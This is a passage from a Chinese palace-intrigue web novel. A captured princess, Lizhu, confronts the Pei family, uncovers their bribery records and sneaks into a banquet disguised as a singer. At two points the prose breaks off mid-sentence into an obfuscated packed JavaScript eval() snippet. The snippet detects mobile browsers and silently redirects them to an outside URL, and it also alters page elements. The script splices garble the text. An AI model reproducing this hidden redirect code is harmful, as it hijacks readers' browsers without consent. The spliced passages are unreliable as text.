她看着深蓝月色下的矫健身影。 他的下颌太利,鼻梁太挺,不笑时轮廓清晰如山石嶙峋,笑起来却有春风化雨般的风流佻达。 很容易给人一种文弱不善武艺的印象。 但实际上,只需稍加注意,就能很清晰地意识到—— 他的玄衣包裹着紧实有力的臂膀和胸膛。 挥刀落下时,轻易就能将身形灵巧而力量不足的长君震退数丈。 何等的强悍、锐气、威风赫赫。 光是在旁边看上一眼,就好似要被那样凛冽的劲风刮伤。 又怎么会是骊珠从前以为的那个,即便上了战场,也只能坐于阵中运筹帷幄的文弱文臣? 不过几息时间,四人已被层层围住。 “——多亏留了个心眼,宁可扑空,也没有放过,否则,今日还真让小娘子从我眼皮底下逃脱了。” 围得水泄不通的卫兵分开一条道。 在酒楼见过的胖头鱼,与一个武官模样的男子一前一后而来。 骊珠理了理鬓发。 她平日遇事,总想着能避就避,能躲就躲,然而躲无可躲时,她反而有种破罐子破摔的淡定。 “宛郡覃氏派你们来的?” 赵维真微笑: “小娘子,男大当婚女大当嫁,就算是对亲事有什么不满,也不能一言不合就逃婚啊,你看,搅得我们伊陵满城风雨,耽误了多少事?有什么事,还是等你归家之后再好好谈吧。” 亲事?逃婚? 骊珠心中觉得好笑。 也对,上到高门贵女,下至乡野村妇,但凡说是因逃婚才要抓回家的,旁人大多不会多管闲事,有热情者,还会帮着一起抓呢。 有两人带着绳索上前。 骊珠咽了口唾沫,强作镇定,抬着下颌道: “捆吧,尔等今日将我捆了送去宛郡,来日才知什么叫真正的满城风雨,你们以为你们抓的只是一个寻常的逃婚女子?可笑,你们知不知道,我乃……” “清河公主是吧?” 赵维真笑着打断: “娘子家中遣人特意提醒过,说娘子自幼聪慧多谋,若是得知清河公主出巡正好至宛郡,或许会冒充公主身份,以此脱身,果然料得没错。” 骊珠:“……我真是清河公主!” “那就劳烦公主伸手,他们都是粗人,弄伤公主就不好了。” “……” 可恶啊! 骊珠愤怒地伸出手,被人捆成粽子的同时,一双眼恶狠狠地盯着那胖头鱼。 如此蠢笨,竟还忝居郡丞之位! 别叫她有机会逃出去! 否则她一定让她父皇罢了他的官! 将骊珠结结实实捆了,旁边就是备好的轿子。 卫兵拽了一下绳子,没拽动,那人正要不耐烦地上手推搡时,突然被当胸一脚,踹得整个人飞身而出,在地上滚了好几圈! 噌——! 一把锃亮未染血的刀横插在轿身上,定住了几个蠢蠢欲动想要上前的卫兵。 骊珠身后响起男子微微气喘的低哑嗓音: “赵维真,今日客气两句叫你一声郡丞大人,别给脸不要脸,人是我找到的,你敢来抢我的功?” 骊珠错愕回头,看到他濡湿的额角和寒芒闪烁的眼。 赵维真沉默了一下。 片刻后,他徐徐笑道: “是吗?那是我多事了,我还以为,裴山主是起了怜香惜玉的心思,明知道这是上头下令要找的人,仍要将她藏匿起来,据为己有呢。” “你确实多事。” 裴照野躬身拾起落在地上的绳索,没有拽着她,只是握在手里。 “让裴家派人来接,他们牵的头,也该交到他们手上,不相干的人想来分一杯羹,最好自信比地上这两个能打。” 已经被卫兵制住的长君和陆誉愤怒挣扎。 长君:“卑鄙贼人!真是信错你了!” 陆誉:“一群蠢货!你们这是犯了滔天大罪!” 两人都格外激动,恨不得活吃了裴照野,倒衬得骊珠对他的态度有些太过平静。 见赵维真仍在审视他们,骊珠想了想,抬眸迎上裴照野的目光。 他虽没受伤,但同时应付陆誉和长君也凶险万分,整个人从水里捞出来一样,低.喘着,汗珠顺着墨发往下滴。 锐利发梢下,他眼底清晰倒映着少女拢眉怒目的模样。 “我讨厌你。” “我再也不会相信你了!” 浓黑瞳仁蓦然一缩。 “徐都尉,”赵维真对一旁的武官道,“裴家老二是你的女婿,就由你与裴山主一道将人送过去,今夜就将此事了结,我也好回去向太守禀报。” 裴家老二? 裴胤之是二房之子,这个裴家老二,应该就是真正的裴胤之的父亲了。 骊珠在他们的只言片语里,依稀拼凑着事情的全貌。 她没想到,抓她这件事,竟然还有伊陵裴氏的参与! 但这怎么可能呢? 前世谁人不知,在裴照野以“裴胤之”的身份入仕前,伊陵裴氏三代都没出过半个官,这才说裴家出了“裴胤之”,是祖坟冒青烟。 然而现在,伊陵裴氏的人竟然和宛郡覃氏关系如此密切。 就连刺杀公主的任务,也敢让裴氏的人沾手,这绝非寻常交情,必得是心腹。 心腹。 怎样的心腹? 如果有这一层关系在,前世的裴照野,为何对覃氏没有丝毫仁慈? 除了覃皇后和少帝沈负动不得,前世覃氏一族削爵罢官,或死或流放,朝堂上几乎只留下覃珣这一根独苗。 还是裴照野说,覃珣是她前夫,官职撸得太干净,骊珠面子上也不好看,这才给了一个虚衔,维持覃家最后的颜面。 裴照野与裴家,与覃家,到底是什么关系?有什么恩怨? 事情扑朔迷离,骊珠一时理不清,只能先跟着卫兵上了轿子。 此刻,对裴家的好奇倒是压过了被抓的恐惧。 不过骊珠心中也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952465|175921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些猜测。 裴照野让她再信他一次,应该是打算先甩掉这些人之后,再找机会伺机救她。 现在这个情况,想要脱身,也是唯一的办法了。 只不过…… 她拨开帘子看了眼车窗外的身影,颇觉奇怪地歪歪头。 事情进行得很顺利。 可他的脸色……怎么那么难看? - 穿过几条街,悬着裴字灯笼的府邸在夜色中渐渐清晰,有几道人影立在门边,似乎是在等着他们。 骊珠回忆起许多事。 前世婚后,她是见过裴家人的。 那年新岁渐近,是他们成婚的第二年,夫妻二人隔阂渐消,正是浓情蜜意之时。 公主府内筹备正月宴席,骊珠突发奇想,想邀请裴家人来雒阳一道团聚。 “……公主虽是好意,不过,我家中亲眷都是乡野之人,粗鄙无知,恐冒犯公主,还是算了吧。” 裴胤之——或者说是裴照野——起初婉言谢绝了好几次。 然而骊珠却道: “那可是你的伯父伯娘,你父母早亡,也就这几个亲人了,这些年你又公务繁忙,也无暇回乡,本朝以仁孝治天下,我理当请他们来一趟雒阳相见的。” “更何况——” 那时的骊珠勾着他脖颈,轻轻蹭他的脸。 “你待我这样好,就算你家里人有什么小毛病,我也愿意包容的。” 反正不会比覃珣那一大家子亲戚更难伺候,更欺负人了。 骊珠在心里默默补上这句。 裴照野最终还是应了下来,正月前两日,裴家人进了公主府,小住五日。 “什么呀,大伯父大伯娘还有堂姐,人都很好啊,一点也不像你说得那样。” 骊珠对着灯烛,很是高兴地看那对大伯娘送她的玉镯。 虽然她有许多比这更漂亮的镯子,就连覃珣的母亲,从前也不情不愿给过她一些。 但在骊珠心中都没有这只更好。 骊珠捧着他的脸,软声道: “你在雒阳无亲无故,以后我多叫他们来雒阳陪你,好不好?” 裴照野只微笑着亲亲她的唇角,不置可否。 在骊珠的印象中,裴家两位长辈亲切慈祥,又不失恭敬,堂姐亦是热情开朗,与骊珠相谈甚欢。 几次短暂相聚,分开时骊珠还有些依依不舍。 这样的一家人,怎么会这那些阴谋诡计扯上关系呢—— “你这小野种果真有些手段,都尉派出去那么多人没寻到,偏让你找到了。” 听到熟悉的声音,骊珠愣了一下,猛地掀开帘子。 裴府门前,站着一个国字脸的肃然男子。 不是曾在雒阳见过的那个、抚着裴照野的肩一口一个“好侄儿”的裴家大伯又是谁? 裴家大伯瞥了眼骊珠的方向,嗤笑道: “不过,你从前不是装作一副清高模样,不屑替权贵做这些脏活吗?怎么,今时今日,眼看能讨着好了,你这小野种也知道领着人来巴巴等着赏赐?” 昔日两人慈爱温馨的画面犹在眼前,此刻听到这番话,骊珠瞠目结舌。 裴照野站在台阶下方,抬眸迎上他居高临下的审视。 他看上去心情很差。 脑子里还在反复回荡着少女怒目叱骂的两句话,裴照野着实没那个耐心跟他废话。 “老货。” 裴家大伯倏然变色。 “不想跟你那个好侄子一样瘸一条腿,就滚一边去,我跟覃家的狗尚有几句话可说,跟你这条裴家的狗,可没什么话谈。” 19.第 19 章 “——什么?绍儿的腿果然是你叫人打的!你个王八羔子!” 裴从禄指着裴照野的手都在微微颤抖。 他看向轿子边的都尉徐弼,双眼瞪得直冒火,却又不敢声音太大,憋着一口气叱道: “别以为你现在当了个山大王就能抖起来了!你?不过就是个贼而已!我们裴家,那可是书香门第,祖上也出过二千石的大官!二千石的大官,你这辈子见过几个!” 徐弼扫了一眼这亲家,朝后摆摆手: “快点落轿,裴山主,把你手里的帷幔给她戴上,别让人瞧见。” 裴照野冷着脸转身。 一双被捆住的手撩起帘子,她怒火中烧地紧盯着他,连下唇也咬得发白。 ……真生气了? 之前不是还挺聪明的吗? 方才被裴从禄指着鼻子骂都毫无波澜,此刻被这双顾盼生辉的眼一瞪,裴照野竟一时大脑空白,不知该如何反应。 他舔了舔唇,伸手欲扶她下轿。 “你……” 啪! 裴从禄和徐弼同时一惊。 那少女双手被捆,仍然奋力用手背在他左脸不轻不重地扇了一下。 毫无防备的裴照野偏过头去。 额前碎发笼住他双目,看不清他此刻喜怒。 徐弼回过神来,这位山主年纪太轻,行事恣意妄为,睚眦必报,他生怕裴照野胡来,连忙道: “愣着做什么!还不快点把娘子请进去!” 几名卫兵立刻上前扶着骊珠往里走。 裴从禄见状,怒容渐褪,转而笑开: “下贱胚子就是下贱胚子,安敢沾染贵女……” 话还没说完,从他身旁经过的少女,突然毫无征兆地扑向裴从禄,十指直奔他的眼珠子而去! 徐弼大惊:“快拦住她!” 裴从禄眼下瞬间冒出来三条血痕,这位养尊处优的中年男子惨然大叫。 “你才是下贱胚子!去死吧你!” 被卫兵们死命拉着的骊珠一副凶狠面孔,纤纤十指上还沾着血丝。 门口一阵鸡飞狗跳。 裴照野看了一会儿,抬手摸了摸被骊珠扇过的地方。 他挨了个软绵绵的巴掌算什么? 裴从禄可差点被扣掉眼珠子。 她对他,总归还是不一样的。 - 骊珠被关进了后院一间小屋内。 屋外四面都留了守卫,强闯绝不可能成功。 骊珠环顾周遭,泄气地躺倒在小榻上,今夜一幕幕在她脑海飞快闪过。 骗她。 全都是骗她的。 和睦亲切的裴家人是假的,他手无缚鸡之力也是假的,前世她堂堂一国公主,竟然被他一个小土匪耍得团团转! 他放肆! 骊珠气得躺不住,恨不得此刻抓来裴照野,再狠狠痛揍他一顿。 “什么人——!” 门外忽而响起对话声,骊珠凝神细听。 “主君派奴婢送一些饮食,给里面的贵女。” “……你是哪个院子的?怎么瞧着眼生?” “几日前,大夫人从人市上将我买来给府内娘子们教导规矩,怎么,内院的女婢,你们外院的人倒是如数家珍?” “不敢不敢。” 门吱嘎一声打开,骊珠怔怔看着突然出现在眼前的女子。 “玄……英?玄英!” 刚一关上门,骊珠便带着压抑哭腔,一下子扑进了女官的怀中。 “玄英!我还以为再也见不到你了,你怎么会在这里!?” 玄英也被这一声声唤得眼含热泪。 放下食盒,玄英抚着骊珠的脸细细端详,好一番寒暄。 得知骊珠当日落在红叶寨手中后,并没有受什么折辱,这才放心。 玄英替骊珠抹抹脸,道: “说来话长,原本是从市井妇人口中打探到线索,以为拦下我们送我雒阳信件的人,是裴府的人,这才潜进来,想探明幕后主使的身份,来日向陛下表明实情。” “没想到今夜府内收到消息,要迎贵客上门,却不拾掇一间上房,而是调配阖府家丁围院子,我便猜测与公主有关,冒险前来,果然来对了。” 解开了骊珠手腕上的绳索,玄英又骂: “陆大人还说是什么执金吾中一等一的好手,怎么带着人出去,竟被五花大绑地送回来!还有长君,定是平时练功偷了懒!” 骊珠愤然:“不怪他们,都是裴照野,他太会装了!” “裴照野?” 玄英一怔,隐约觉得自己似乎在裴府听过这个名字。 她很快想了起来。 “裴家骚动起来前,裴家大夫人和二夫人关起门来说话被我听见,她们说什么——‘晗楚留下的那个野种回来了’‘那个十四岁杀人亡命,离府做了游侠的孩子’——公主,您说的裴照野可是此人?” 骊珠愣了愣。 “她们……还说了什么?” 玄英:“没什么要紧的话,就说——‘那他知不知道他父亲是谁’‘知不知道又如何,一个歌伎生下来的野种,谁会认’——这之类的。” ……原来如此。 骊珠回想起她初到红叶寨,曾猜测裴照野是裴家某个不受宠的旁支。 裴照野听完后只是笑笑,不置可否。 原来,他连旁支都不是,只是府内一名歌伎之子。 这才是他要处处撒谎,掩饰自己的原因吗? “公主,这还不是最重要的!” 玄英朝外面瞧了一眼,肃然道: “您知道裴家为何会掺和到这件事里吗?” 骊珠懵懵懂懂地摇头。 “裴家夫人在人市上挑中了我,是因为我告诉她们,我曾在雒阳高门侍奉过,她们想让我入府内调.教家中娘子——却不是她们家中亲生的女儿,而是一群从外边儿买来的、八九岁的小女娘。” 骊珠拢起细眉。 她的直觉觉得,这是一件很坏很坏的事,可又一时间想不到坏在何处。 “我的公主,您还不明白吗?” 玄英握着骊珠冰凉的手,厌恶地朝身后看了一眼: “裴家虽有田地房舍,但到底只是无官无爵的寒门,他们养着一批又一批的歌伎、舞姬、伶人,难道是供自己享乐的?据我这几日观察,裴府往来官员无数,多有借裴家府邸宴饮,暗行贿赂之实的行径——” 所以,裴家才会替覃氏抓她。 因为裴家,本来就在替这些达官显贵,做一些见不得人的事。 骊珠心底白茫茫一片。 正说到一半,寂寂夜色里,忽而飘来一阵丝竹管弦声。 府内有人在宴饮。 是因为今夜抓到了她,在和覃氏派来的人庆功? 如此,府中的守备,应该不会太严密吧? “……玄英。” 骊珠忽而下定了决心。 “我有一件必须要做的事,你恐怕得跟我换一下衣服。” 玄英蓦然睁大眼。 - 九枝灯噼啪燃烧着。 伶人在角落里奏乐,两列食案之间,有裙裾逶迤的舞姬翩然起舞。 上首的裴家老大裴从禄脸上血痕犹在,提了一杯,敬左侧的年轻公子: “……之前覃家派来的那位齐大人,定然还在伊陵,只是不知为何没有与我们联络,公子放心,等这位娘子的事情了结,我们一定会派人找到齐大人,护送回宛郡……” 坐在末席的裴照野慢吞吞地夹菜。 酒肆后门的砖泥早就干了,要想找埋在那底下的齐大人,恐怕有些难度。 年轻公子姿态矜贵,微微颔首: “多谢裴伯父。” “公子客气,不过,公子真是覃鸣石覃大人的幼子?在下在宛郡之间往来,似乎还从没有……” “现下,你们将娘子关押在何处?” 年轻公子声音温然,又带着一种久居上位的说一不二。 裴从禄看了一眼弟弟裴从勋。 裴家老二俨然才是裴家真正的话事人,他笑道: “那位娘子身份不凡,怎么会关押,自然是好生招待在后院中,公子若想见,等宴席结束后去见便是。” 年轻公子不动声色地松了口气。 没错,眼前之人并非什么覃鸣石的幼子,而是覃氏家主,覃敬的嫡长子覃珣。 自他接到骊珠的求救信,已经过去了三日。 他本该当日乘快马立刻从宛郡赶来,却被他二叔扣在家中,耽搁了两日,直到今日才脱身。 急急带人赶到襄城,以为晚了一步。 好在,二叔派到这里的齐大人不知为何失踪,他这才有机会,冒充来替二叔做事的族中小辈,插手这件事。 覃珣到现在也不能确定,骊珠遇刺这件事和家里到底有没有关系。 想到此处,覃珣心中惴惴,万分为难。 但愿二叔他们,只是想暗中寻找骊珠,并非对骊珠有什么企图。 覃珣道:“……不知是哪位寻到了我家的娘子,理应敬上一杯,以表谢意……” “公子不必挂怀,家中一名仆役而已。” 裴从禄摆摆手,已经跟覃珣带来的下属喝得面红耳赤。 “以公子之尊,那种人连给您提鞋都不配,怎能让公子给他敬酒……歌伎呢?快快请上来为覃公子献曲!” 覃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959773|175921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珣微微蹙了一下眉。 他一贯不惜这样乌糟的宴席,只望快些结束,他好去见骊珠,尽快带她离开这个是非之地。 裴照野倒是与其他人一样,坦然抬头,看向门外。 歌伎轻纱粉衣,鱼贯而入。 深蓝色的夜幕上明月皎洁,裴照野想,也不知此刻那位娇娘子会不会独自一人躲在屋子里哭……等等。 裴照野的目光定在了队伍最末的娇小身影上。 和其他落落大方的歌伎不同,她显然不适应如此单薄的裙纱,走得缩头缩尾,恨不得把自己是冒充的写在脸上。 “覃公子,我们裴家歌伎,在鹤州也算是颇有名气,您若是有……” 还未等裴从禄说完,就见末席的男子起身,将队尾的歌伎拽到了自己怀中。 “裴照野!”裴从禄怒斥,“覃公子尚未发话,你猴急什么呢!” 上首的裴从勋也是一脸不快。 要不是看在这个野种如今在虞山占山为王,颇有威势,又运贩私盐,家底颇丰……岂能让他这样一个出身低劣的匪贼列坐席间? 埋首躲在裴照野怀中的骊珠,心简直快跳出了嗓子眼。 片刻,她听到自己靠着的胸膛震动,那人笑道: “抱歉抱歉,乡下粗人,没见过如此美色,覃家的公子必定遍览群芳,也不差这一个吧?” 裴从禄:“差不差这一个岂由你说了算……” “无妨。”矜贵的年轻公子略有不耐地打断,“何须为一歌伎争执,诸公自便吧。” 丝竹声很快盖过了裴从禄的暗骂声。 坐在裴照野身旁的男子忍不住瞥来一眼。 灯烛明灭,只瞧见他怀中香肤雪腮,微张樱唇,落在男子怀中,怜小如一只稚鸟,然而还没等他看清面容,就被男子长臂一揽,整个地嵌入怀中。 “……解释一下?” 裴照野垂下眼睫。 骊珠被他猛的一拽,压坐在他身上的姿势极不舒服,但她又不敢坐直露出脸来——即便她脸上还有一层薄纱。 只好微微地扭了扭,调整了一下姿势,抬眸道: “我在裴府的书房里找到了一点东西。” 裴照野的手臂托着她的腰,让她的臀不至于压到他,然后不咸不淡地嗯了一声。 “你怎么跑出来的?” “你别管,我自有我的办法,别小看我。” 骊珠还没有原谅他,态度很一般,言简意赅道: “与裴府往来的官员名录,还有他们的私隐秘密,行贿的数目,裴家的人居然都记录在册——可惜时间紧迫,我只来得及偷出来一本,还差点被人发现。” 骊珠一边说着,一边伸出半个头观望四周。 见其他舞姬歌伎都倚着宾客,不是喂酒,就是喂水果,骊珠也有样学样,随手抓了个果子塞他嘴里。 “这些巨贪的官员,务必挖出来一一抄家,绝不能让他们祸害南雍的江山社稷!” 骊珠又塞了一个。 “用完之后,这本册子也不能留,我大致翻了翻,其中还涉及到许多与裴家无关的官员私隐,如果有人用这些私隐把柄来威胁他们,就算是好官,只怕也会成为他们的傀儡!” 纱裙太过单薄,她的鼻尖被冻得泛红。 然而泛红的不只是鼻尖。 还有雪白的肩头,起伏的锁骨。 裹着胸口的绸缎绣了一朵粉白色的芍药,随着她一呼一吸,好似花朵也跟着绽开又合拢,引人采撷。 以前裴照野不懂,为何那些文人要将怀抱美人称作温香软玉。 今日方知,读书的确是有些用处的。 骊珠只觉得很冷。 已是秋分,这裙衫比夏衫还薄,她方才偷册子又偷得胆战心惊,手脚冰凉。 此刻好不容易靠到一点温暖的东西,不免贴得紧紧的。 狭小又熟悉的怀抱里,她昂着头道: “但我现在出不去,命都不一定保得住,这册子只有交给你,我才放心。” 心似乎被触动了一下。 被她之前那两句话封冻的血液,再一次在身体里奔涌。 裴照野拦下了骊珠给他喂果子的手,动了动唇: “首先,别喂了,这果子是烂的。” “其次——你穿成这样,你把那册子藏哪儿了?” 骊珠眨眨眼。 “自然在我身上,只是我不好取给你。” 浓黑的眼将她从头到脚地扫了一遍,手已经摸到了她的后腰。 然而骊珠摇摇头,表情忽而变得有些尴尬羞赧起来,她一手攀上他的肩,在他耳边,咬字细软: “不在那里。” “在……我的裙子里面。”